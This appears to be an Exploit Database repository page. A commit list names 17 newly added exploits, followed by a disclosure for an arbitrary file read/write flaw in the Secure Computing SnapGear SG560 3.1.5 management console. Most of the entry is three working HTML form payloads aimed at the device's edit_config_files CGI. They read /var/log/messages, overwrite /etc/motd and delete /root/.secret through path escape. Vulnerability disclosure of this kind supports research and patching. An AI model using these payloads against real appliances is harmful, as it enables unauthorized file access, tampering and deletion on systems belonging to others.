533f33f3f4
17 changes to exploits/shellcodes IObit Uninstaller 9.5.0.15 - 'IObit Uninstaller Service' Unquoted Service Path AirControl 1.4.2 - PreAuth Remote Code Execution Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated) Clinic Management System 1.0 - Unauthenticated Remote Code Execution Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated) Oriol Espinal CMS 1.0 - 'id' SQL Injection Clinic Management System 1.0 - Authenticated Arbitrary File Upload Navigate CMS 2.8.7 - Cross-Site Request Forgery (Add Admin) VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution Navigate CMS 2.8.7 - Authenticated Directory Traversal D-Link DIR-615 T1 20.10 - CAPTCHA Bypass Online Marriage Registration System 1.0 - Remote Code Execution Cayin Content Management Server 11.0 - Remote Command Injection (root) SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User) Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read Cayin Signage Media Player 3.0 - Remote Command Injection (root) Cayin Digital Signage System xPost 2.5 - Remote Command Injection
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3.2 KiB
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95 lines
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3.2 KiB
Text
# Title: Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read
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# Author:LiquidWorm
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# Date: 2020-06-04
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# Vendor: http://www.securecomputing.com
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# CVE: N/A
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Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write
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Vendor: Secure Computing Corp.
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Product web page: http://www.securecomputing.com
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Affected version: 3.1.5u1
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Summary: The SG gateway appliance range provides Internet security and
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privacy of communications for small and medium enterprises, and branch
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offices. It simply and securely connects your office to the Internet,
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and with its robust stateful firewall, shields your computers from
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external threats.
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Desc: The application allows the currently logged-in user to edit the
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configuration files in the system using the CGI executable 'edit_config_files'
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in /cgi-bin/cgix/. The files that are allowed to be modified (read/write/delete)
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are located in the /etc/config/ directory. An attacker can manipulate
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the POST request parameters to escape from the restricted environment
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by using absolute path and start reading, writing and deleting arbitrary
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files on the system.
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Tested on: fnord/1.9
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Apache 1.3.27 (Unix)
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Linux 2.4.31
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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@zeroscience
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Advisory ID: ZSL-2020-5568
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Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5568.php
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14.05.2020
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--
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Read:
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-----
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<html>
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<body>
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<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
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<input type="hidden" name=".form" value="choices" />
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<input type="hidden" name=".page" value="select_file" />
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<input type="hidden" name="name$1337" value="/var/log/messages" />
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<input type="hidden" name="modify$1337" value="1" />
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<input type="hidden" name=".defaultname" value="newitem" />
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<input type="submit" value="Read" />
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</form>
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</body>
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</html>
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Write/overwrite/move:
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---------------------
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<html>
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<body>
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<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
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<input type="hidden" name=".form" value="edit" />
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<input type="hidden" name=".page" value="edit_file" />
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<input type="hidden" name="enabled$0" value="" />
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<input type="hidden" name="name$0" value="/etc/motd" />
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<input type="hidden" name="mode$0" value="" />
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<input type="hidden" name="filename" value="/etc/motd" />
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<input type="hidden" name="filecontents" value="pwned" />
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<input type="hidden" name="finish" value="Finish" />
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<input type="hidden" name=".defaultname" value="finish" />
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<input type="submit" value="Write" />
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</form>
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</body>
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</html>
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Delete:
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-------
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<html>
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<body>
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<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
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<input type="hidden" name=".form" value="choices" />
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<input type="hidden" name=".page" value="select_file" />
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<input type="hidden" name="name$251" value="/root/.secret" />
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<input type="hidden" name="delete$251" value="1" />
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<input type="hidden" name=".defaultname" value="newitem" />
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<input type="submit" value="Delete" />
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</form>
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</body>
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</html> |